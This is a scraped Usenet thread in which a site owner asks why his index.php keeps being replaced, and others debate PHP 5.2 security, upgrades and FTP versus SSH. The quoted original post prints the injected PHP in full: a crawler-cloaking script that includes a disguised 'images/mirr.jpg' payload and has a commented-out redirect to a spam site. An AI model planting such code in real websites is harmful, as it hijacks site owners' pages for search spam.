On Thu, 7 Jun 2018 16:14:20 +0100, The Natural Philosopher
<t...@invalid.invalid> wrote:
>On 06/06/18 22:13, Mark Goodge wrote:
>> They're not irrelevent. His site is (or was, when I tested it) running
>> PHP 5.2. That is vulnerable to exploits which can write files to the
>> server. There are numerous different ways of doing that, some more
>> obscure than others.
>
>Name just ONE that whilst running with www-data permissions can
>overwrite a file which has no write permissions for www-data.
Sigh. Do your own Googling.
<t...@invalid.invalid> wrote:
>On 06/06/18 22:13, Mark Goodge wrote:
>> They're not irrelevent. His site is (or was, when I tested it) running
>> PHP 5.2. That is vulnerable to exploits which can write files to the
>> server. There are numerous different ways of doing that, some more
>> obscure than others.
>
>Name just ONE that whilst running with www-data permissions can
>overwrite a file which has no write permissions for www-data.
In any case, if the host is still on PHP 5.2, and doesn't offer an
upgrade to a current version, then the host's sysadmins are clearly so
lacking in the clue department that there's no telling what else is
ancient and insecure. If the host is vulnerable, then there's no way
that individual users can secure against that. You can't protect
against root.
Mark
The Natural Philosopher
Jun 8, 2018, 3:30:35 AM6/8/18
to
On 07/06/18 17:02, Mark Goodge wrote:
> On Thu, 7 Jun 2018 16:14:20 +0100, The Natural Philosopher
> <t...@invalid.invalid> wrote:
>
>> On 06/06/18 22:13, Mark Goodge wrote:
>>> They're not irrelevent. His site is (or was, when I tested it) running
>>> PHP 5.2. That is vulnerable to exploits which can write files to the
>>> server. There are numerous different ways of doing that, some more
>>> obscure than others.
>>
>> Name just ONE that whilst running with www-data permissions can
>> overwrite a file which has no write permissions for www-data.
>
> Sigh. Do your own Googling.
Oh I see. Its up to me to disprve inane assertions and not you to prove
> On Thu, 7 Jun 2018 16:14:20 +0100, The Natural Philosopher
> <t...@invalid.invalid> wrote:
>
>> On 06/06/18 22:13, Mark Goodge wrote:
>>> They're not irrelevent. His site is (or was, when I tested it) running
>>> PHP 5.2. That is vulnerable to exploits which can write files to the
>>> server. There are numerous different ways of doing that, some more
>>> obscure than others.
>>
>> Name just ONE that whilst running with www-data permissions can
>> overwrite a file which has no write permissions for www-data.
>
> Sigh. Do your own Googling.
them.
Weasel.
>
> In any case, if the host is still on PHP 5.2, and doesn't offer an
> upgrade to a current version, then the host's sysadmins are clearly so
> lacking in the clue department that there's no telling what else is
> ancient and insecure.
> If the host is vulnerable, then there's no way
> that individual users can secure against that. You can't protect
> against root.
>
Being on PHP 5.2 is no sign that the host is vulnerable to being rooted.
I repoeat. PHP 5.2 vulnerabilitroies would NOT produce the effects noted
by the OP.
> Mark
>
--
“But what a weak barrier is truth when it stands in the way of an
hypothesis!”
Mary Wollstonecraft
Mark Goodge
Jun 8, 2018, 3:32:33 AM6/8/18
to
On Fri, 8 Jun 2018 08:30:34 +0100, The Natural Philosopher
<t...@invalid.invalid> wrote:
>Being on PHP 5.2 is no sign that the host is vulnerable to being rooted.
It's a sign that they don't take security seriously.
<t...@invalid.invalid> wrote:
>Being on PHP 5.2 is no sign that the host is vulnerable to being rooted.
Mark
The Natural Philosopher
Jun 12, 2018, 4:47:16 AM6/12/18
to
It took several days to rewrite the code to be compatible.
Sometimes 'upgrades for security reasons' break everything.
--
If I had all the money I've spent on drink...
..I'd spend it on drink.
Sir Henry (at Rawlinson's End)
Mark Goodge
Jun 12, 2018, 5:05:21 AM6/12/18
to
On Tue, 12 Jun 2018 09:47:14 +0100, The Natural Philosopher
>Sometimes 'upgrades for security reasons' break everything.
They break insecure websites. Which is a good thing.
Mark
<t...@invalid.invalid> wrote:
>On 08/06/18 08:32, Mark Goodge wrote:
>> On Fri, 8 Jun 2018 08:30:34 +0100, The Natural Philosopher
>> <t...@invalid.invalid> wrote:
>>
>>
>>> Being on PHP 5.2 is no sign that the host is vulnerable to being rooted.
>>
>> It's a sign that they don't take security seriously.
>>
>> Mark
>>
>I had to transition gridwatch from PHP 5.3 to PHP 7.1
>
>It took several days to rewrite the code to be compatible.
In which case, it must have been pretty shonky to begin with.
>On 08/06/18 08:32, Mark Goodge wrote:
>> On Fri, 8 Jun 2018 08:30:34 +0100, The Natural Philosopher
>> <t...@invalid.invalid> wrote:
>>
>>
>>> Being on PHP 5.2 is no sign that the host is vulnerable to being rooted.
>>
>> It's a sign that they don't take security seriously.
>>
>> Mark
>>
>I had to transition gridwatch from PHP 5.3 to PHP 7.1
>
>It took several days to rewrite the code to be compatible.
>Sometimes 'upgrades for security reasons' break everything.
Mark
The Natural Philosopher
Jun 12, 2018, 5:10:20 AM6/12/18
to
Upgrades do more than fix security issues.
Gridwatch by the way has never been hacked. Despite getting more than a
million visitors a year.
DOS yes, hacked no.
It ran on PHP 5 for years.
> Mark
>
--
"Women actually are capable of being far more than the feminists will
let them."
Message has been deleted
Paul Bird
Sep 8, 2018, 6:03:22 PM9/8/18
to
On 31/05/2018 14:14, Michael Kilpatrick wrote:
> For anyone who might have an idea, please....
>
> My ellington-music.co.uk website is suffering repeated attacks of some
> sort in which my main index.php file is being replaced by something else.
>
> I use PHP and MySQL for the menu system and for dynamically generating
> the content, so it uses various routines defined in other PHP files too,
> and loads up the various contents from a selection of text/HTML files.
>
> For the last couple of months I have found that every couple of weeks
> the index.php file has been replace by the following short file.
>
> By what possible mechanisms could that be happening other than by
> knowing my FTP password? What sort of hacks might allow the injection of
> this file?
>
> Is there a good newsgroup for this sort of question?
>
> My band website harmonyinharlem.co.uk is mapped to a subdomain of the
> same hosting package but that has never been corrupted in the same way,
> ever.
>
>
>
> <?php
> function getAgent(){
> $user_agent=$_SERVER['HTTP_USER_AGENT'];
> $from=@$_SERVER['HTTP_FROM'];
> $spider_array=array("google","yahoo","bing");
> for($i=0;$i<count($spider_array);$i++){
> if(stristr($user_agent,$spider_array[$i]) &&
> stristr($from,$spider_array[$i])) return true;
> }
> return false;
> }
> function getReferrer(){
> $page_from=@$_SERVER['HTTP_REFERER'];
> $search_array=array("google","yahoo","bing");
> for($i=0;$i<count($search_array);$i++){
> if(stristr($page_from,$search_array[$i])) return true;
> }
> return false;
> }
> if(getReferrer() && $_SERVER['REQUEST_URI']=='/'){
> //header('Location: http://www.timberlandzone.com/#domain');
> //exit();
> }
> if(getAgent() && $_SERVER['REQUEST_URI']=='/'){
> require("images/mirr.jpg");
> exit;
> }
> require("index.html");
> ?>
My limited experience of low end boxes (2 months) suggests you need an
ssh connection and not ftp which is easily hacked. Am willing to help
but perhaps by now you've found a solution.
PB
> For anyone who might have an idea, please....
>
> My ellington-music.co.uk website is suffering repeated attacks of some
> sort in which my main index.php file is being replaced by something else.
>
> I use PHP and MySQL for the menu system and for dynamically generating
> the content, so it uses various routines defined in other PHP files too,
> and loads up the various contents from a selection of text/HTML files.
>
> For the last couple of months I have found that every couple of weeks
> the index.php file has been replace by the following short file.
>
> By what possible mechanisms could that be happening other than by
> knowing my FTP password? What sort of hacks might allow the injection of
> this file?
>
> Is there a good newsgroup for this sort of question?
>
> My band website harmonyinharlem.co.uk is mapped to a subdomain of the
> same hosting package but that has never been corrupted in the same way,
> ever.
>
>
>
> <?php
> function getAgent(){
> $user_agent=$_SERVER['HTTP_USER_AGENT'];
> $from=@$_SERVER['HTTP_FROM'];
> $spider_array=array("google","yahoo","bing");
> for($i=0;$i<count($spider_array);$i++){
> if(stristr($user_agent,$spider_array[$i]) &&
> stristr($from,$spider_array[$i])) return true;
> }
> return false;
> }
> function getReferrer(){
> $page_from=@$_SERVER['HTTP_REFERER'];
> $search_array=array("google","yahoo","bing");
> for($i=0;$i<count($search_array);$i++){
> if(stristr($page_from,$search_array[$i])) return true;
> }
> return false;
> }
> if(getReferrer() && $_SERVER['REQUEST_URI']=='/'){
> //header('Location: http://www.timberlandzone.com/#domain');
> //exit();
> }
> if(getAgent() && $_SERVER['REQUEST_URI']=='/'){
> require("images/mirr.jpg");
> exit;
> }
> require("index.html");
> ?>
My limited experience of low end boxes (2 months) suggests you need an
ssh connection and not ftp which is easily hacked. Am willing to help
but perhaps by now you've found a solution.
PB
The Natural Philosopher
Sep 9, 2018, 4:54:45 AM9/9/18
to
On 08/09/18 23:03, Paul Bird wrote:
> My limited experience of low end boxes (2 months) suggests you need an
> ssh connection and not ftp which is easily hacked. Am willing to help
> but perhaps by now you've found a solution.
Indeed. Ive got space on an old virtual server if you need hosting with
> My limited experience of low end boxes (2 months) suggests you need an
> ssh connection and not ftp which is easily hacked. Am willing to help
> but perhaps by now you've found a solution.
a bit more than rudimentary oiversight.
Pauls piunt thats ssftp access is a wee bit more secure is valid.
--
Socialism is the philosophy of failure, the creed of ignorance and the
gospel of envy.
Its inherent virtue is the equal sharing of misery.
Winston Churchill
Paul Bird
Sep 11, 2018, 3:09:09 AM9/11/18
to
On 09/09/2018 09:54, The Natural Philosopher wrote:
> On 08/09/18 23:03, Paul Bird wrote:
>> My limited experience of low end boxes (2 months) suggests you need an
>> ssh connection and not ftp which is easily hacked. Am willing to help
>> but perhaps by now you've found a solution.
>
> Indeed. Ive got space on an old virtual server if you need hosting with
> a bit more than rudimentary oiversight.
>
> Pauls piunt thats ssftp access is a wee bit more secure is valid.
>
Ditto, I've got a spare VPS in New York he can have for a while if he
> On 08/09/18 23:03, Paul Bird wrote:
>> My limited experience of low end boxes (2 months) suggests you need an
>> ssh connection and not ftp which is easily hacked. Am willing to help
>> but perhaps by now you've found a solution.
>
> Indeed. Ive got space on an old virtual server if you need hosting with
> a bit more than rudimentary oiversight.
>
> Pauls piunt thats ssftp access is a wee bit more secure is valid.
>
wants to secure his site, only has to point the DNS at it.
http://leb.org.uk/
PB
0 new messages